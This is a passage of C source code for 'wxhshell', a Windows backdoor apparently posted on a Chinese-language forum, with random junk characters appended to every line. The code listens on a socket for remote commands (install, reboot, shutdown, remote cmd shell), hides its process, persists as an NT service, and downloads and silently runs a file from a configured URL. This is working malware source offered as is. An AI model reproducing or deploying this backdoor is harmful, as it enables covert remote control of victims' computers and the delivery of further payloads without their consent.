  else { aTBR|U S  
,C {*s$  
    switch(cmd[0]) { ,sGZ2=M}J  
  FYS/##r  
  // 帮助 upvS|KUil  
  case '?': { -R>}u'EG>  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0);  X\}Y  
    break; Bvt@X   
  } ;60.l!   
  // 安装 ^uJU}v:  
  case 'i': { lg pW@g  
    if(Install()) yPw'] "  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Tlj:%yK2  
    else fm~kM J  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7RDDdF E!  
    break; |j3'eW&=  
    } 0j(M* sl  
  // 卸载 <5=JE*s$NS  
  case 'r': { ,7XtH>2s  
    if(Uninstall()) SR*wvQnOx  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?|e'Gbb_  
    else (Z5##dS3  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); m0{!hF[^  
    break; ) _ I,KEe  
    } #.[AK_S5&  
  // 显示 wxhshell 所在路径 8.bKb<y  
  case 'p': { m?HZ;  
    char svExeFile[MAX_PATH]; 7=]i~7uy  
    strcpy(svExeFile,"\n\r"); flgRpXt  
      strcat(svExeFile,ExeFile); +\Q?w?DE|  
        send(wsh,svExeFile,strlen(svExeFile),0); m*X[ Jtr  
    break; 'B0{U4?   
    } |w}xl'>q  
  // 重启 -CH`>  
  case 'b': { n41@iK2l  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); wW?,;B'74  
    if(Boot(REBOOT)) XBQ\_2>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); I]!^;))  
    else { d2s OYCKe  
    closesocket(wsh); g]UBZ33y  
    ExitThread(0); ^TB>.c@`*  
    } Q !qrNa6  
    break; B^D(5  
    } ^KB~*'DN~s  
  // 关机 P6,7]6bp  
  case 'd': { )5fQ$<(Z  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); HyiF y7j  
    if(Boot(SHUTDOWN)) .}')f;jH5<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !se0F.K  
    else { 4x%(9_8 {-  
    closesocket(wsh); [#YE^[*qK  
    ExitThread(0); H&b3{yOa  
    } kqG0%WtQ  
    break; .yENM[-bQ  
    } t?nX=i*~]  
  // 获取shell |lH;Fq{\  
  case 's': { j'i0*"x  
    CmdShell(wsh); ZtVAEIZ)  
    closesocket(wsh); y$hp@m'@C  
    ExitThread(0); midsnG+jnf  
    break; TO,rxf  
  } `IINq{Zk  
  // 退出 FI8Oz,  
  case 'x': { A$g+K,.l  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); G1 o70  
    CloseIt(wsh); ^7]"kg DA  
    break; fQ>4MKLw=d  
    } ]aCk_*U  
  // 离开 l!E7A Kk8  
  case 'q': { #<( = }?  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); eK/?%t  
    closesocket(wsh); TST4Vy3  
    WSACleanup(); >Q,zNs  
    exit(1); /9y aW7w  
    break; S'~o,`xy  
        } <*H^(0  
  } uR6w|e`  
  } t]1ubt2W  
T2 ?HRx  
  // 提示信息 E99CmG|"  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 2S`?hxAL  
} <b+[<@wS  
  } ,~zj=F  
b=a!j=-D  
  return; ea=83 Zj  
} Wi n8LOC  
0%s|Zbo!>  
// shell模块句柄 nRhrWS  
int CmdShell(SOCKET sock) q ^rl)  
{ k&hc m  
STARTUPINFO si; 2Ha5yaTL  
ZeroMemory(&si,sizeof(si)); 1gO2C $  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ngulcv  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; iNCX:Y  
PROCESS_INFORMATION ProcessInfo; *0Gz)'  
char cmdline[]="cmd"; 0h$GI"dR  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); )_zlrX  
  return 0; RANPi\]  
} <I;*[;AK  
(\puf+  
// 自身启动模式 [-*F"}D,  
int StartFromService(void) ~#:e*:ro  
{ lhC6S'vq  
typedef struct .DJDpP)M  
{ f<y& \'3  
  DWORD ExitStatus; 'UM!*fk7C  
  DWORD PebBaseAddress; SN+ S6  
  DWORD AffinityMask; Jeqxspn T  
  DWORD BasePriority; %>Xr5<$:&  
  ULONG UniqueProcessId; -U2mfW  
  ULONG InheritedFromUniqueProcessId; sPNfbCOz  
}   PROCESS_BASIC_INFORMATION; ( g :p5Rl  
M/V(5IoP (  
PROCNTQSIP NtQueryInformationProcess; $mco0 %$  
zvv:dC/p<  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; )He#K+[}^4  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; fm1X1T.  
dw@E)  
  HANDLE             hProcess; ]8U ~Iy  
  PROCESS_BASIC_INFORMATION pbi; )Du -_Z  
.&,[,  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ST1Ts5I  
  if(NULL == hInst ) return 0;  *2u E  
8dT'xuch  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); :s8A:mx  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Wf02$c0#K  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); yt.c5> B^  
VmQh$&h  
  if (!NtQueryInformationProcess) return 0; @kngI7=E  
1TqF6`;+  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); P`s(kIe  
  if(!hProcess) return 0; Ri:p8  
}IUP5O6  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; <z#BsnjW{  
j.-VJo)   
  CloseHandle(hProcess); Rag iV6c  
2?i\@r@E|  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ZcPUtun  
if(hProcess==NULL) return 0; g"t^r3  
V*B0lI7`B  
HMODULE hMod; 4".J/I5u  
char procName[255]; .PVLWW  
unsigned long cbNeeded; GCE!$W  
?)A2Kw>2  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); `]2@ _wa  
_^uc 0=  
  CloseHandle(hProcess); y[HQBv  
*)VAaGUX>  
if(strstr(procName,"services")) return 1; // 以服务启动 7{BnXN[  
7#4%\f+'t  
  return 0; // 注册表启动 "!&B4  
} 0*(K DDv  
MUof=EJg>u  
// 主模块 +}!DP~y+  
int StartWxhshell(LPSTR lpCmdLine) }X1.Wt=?  
{ M|CrBJv+F  
  SOCKET wsl; %= u/3b:o  
BOOL val=TRUE; $>vy(Y  
  int port=0; okBE|g  
  struct sockaddr_in door; gn5% F5W  
oW'PO Ar  
  if(wscfg.ws_autoins) Install(); #MTj)P,  
5}<[[}(  
port=atoi(lpCmdLine); %<U{K;  
.Vx|'-u  
if(port<=0) port=wscfg.ws_port; GEE ]Kr  
dXP6"V@iI  
  WSADATA data; 9={N4}<  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; >iy^$bqF  
>a]t<  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ' Js?N  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); eOrYa3hQ  
  door.sin_family = AF_INET; )bW5yG!  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); fcAIg(vW  
  door.sin_port = htons(port); ]t/f<jKN^  
:::>ro*R  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 5-p.MGso  
closesocket(wsl); CX+9R3pa  
return 1; g3rRhS  
} ltEF:{mLe#  
{'IFWD.5  
  if(listen(wsl,2) == INVALID_SOCKET) { {% F`%_{"  
closesocket(wsl); x}"Q8kD  
return 1; >~&(P_<b  
} xYT}>#[  
  Wxhshell(wsl); 3_J>y  
  WSACleanup(); +Jw{qQR/*  
{,f[r*{Y  
return 0; P3$,ca'  
G ]lvHD  
} : ej_D}  
AP@<r  
// 以NT服务方式启动 3i(Jon/p  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) uu3M{*}  
{ ??I:H  
DWORD   status = 0; jaqV[*440U  
  DWORD   specificError = 0xfffffff;  4Iq5+Q  
VG\mo?G  
  serviceStatus.dwServiceType     = SERVICE_WIN32; F!R2_89iy  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; LVmY=d>  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; N*1  
  serviceStatus.dwWin32ExitCode     = 0; 5DSuUEvWcL  
  serviceStatus.dwServiceSpecificExitCode = 0; {&`VGXG  
  serviceStatus.dwCheckPoint       = 0; n!?r }n8  
  serviceStatus.dwWaitHint       = 0; 6PJ'lA;*b  
('HxHOh2  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); t&pGQ  
  if (hServiceStatusHandle==0) return; hZ o5p&b  
\1{_lynD  
status = GetLastError(); k#jm7 +  
  if (status!=NO_ERROR) Cgo XZX  
{ L<E/,IdE  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; poY8 )2  
    serviceStatus.dwCheckPoint       = 0; qL>v&Rd<  
    serviceStatus.dwWaitHint       = 0; ' fl(N2t  
    serviceStatus.dwWin32ExitCode     = status; RO$*G jQd  
    serviceStatus.dwServiceSpecificExitCode = specificError; ]+lF=kkc %  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); x:C@)CAr  
    return; !OQuEJR  
  } EOQaY  
w 06gY  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; #W^_]Q=5R'  
  serviceStatus.dwCheckPoint       = 0; '8={ sMy  
  serviceStatus.dwWaitHint       = 0; ~,G]glu8  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ?1$\pq^  
} HSql)iT  
&z QWIv  
// 处理NT服务事件,比如:启动、停止 l]u7.~b  
VOID WINAPI NTServiceHandler(DWORD fdwControl) +Z$a1 Y@  
{ cE 2Rr  
switch(fdwControl) DCK_F8  
{ rT<1S?jR  
case SERVICE_CONTROL_STOP: `r9^:TMN  
  serviceStatus.dwWin32ExitCode = 0; CwB] )QV?  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 43F^J%G  
  serviceStatus.dwCheckPoint   = 0; :P"9;$FY  
  serviceStatus.dwWaitHint     = 0; :1NYpsd.i  
  { ;3 dM@>5[  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?M]u$Te/.  
  } X$PS(_M  
  return; ;Lqm#]C  
case SERVICE_CONTROL_PAUSE: I2W{t l  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; :^.u-bHI  
  break; b8e*Pv/  
case SERVICE_CONTROL_CONTINUE: N&,"kRFFo  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; {~"Em'}J  
  break; YiO3<}Uf  
case SERVICE_CONTROL_INTERROGATE: U#$:\fT  
  break; P8u"T!G  
}; ?qIGQ/af&  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); H<{*ub4'L*  
} @@; 1%z  
S~} +ypV  
// 标准应用程序主函数 xNx`J@xt$  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ^[*AK_o_DQ  
{ #e*$2+`[A  
8W{ g  
// 获取操作系统版本 gi '^qi2  
OsIsNt=GetOsVer(); Yr:>icz|  
GetModuleFileName(NULL,ExeFile,MAX_PATH); qm~Kw!kV  
" _mmR M  
  // 从命令行安装 w[|y0jtw  
  if(strpbrk(lpCmdLine,"iI")) Install(); hPS/CgLq  
}0krSzcn#,  
  // 下载执行文件 EtPgzw[#c9  
if(wscfg.ws_downexe) { =$[W,+X6f  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) cUYX1a)8  
  WinExec(wscfg.ws_filenam,SW_HIDE); ?9CIWpGjU  
} Mc.^s  
[!5l0{0  
if(!OsIsNt) { 3k`NNA  
// 如果时win9x,隐藏进程并且设置为注册表启动 Us*Vn  
HideProc(); DU(X,hDBF  
StartWxhshell(lpCmdLine); Scf.4~H 0  
} &,F elB0*  
else 40rZ~!}  
  if(StartFromService()) ;\1b{-' l  
  // 以服务方式启动 5,Qy/t}K  
  StartServiceCtrlDispatcher(DispatchTable); \?[O,A  
else t<8z08  
  // 普通方式启动 *pY/5? g  
  StartWxhshell(lpCmdLine); _%XbxP6rH  
eNHpgj  
return 0; "ngSilH?D  
}
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只看该作者 1 发表于: 2006-10-10
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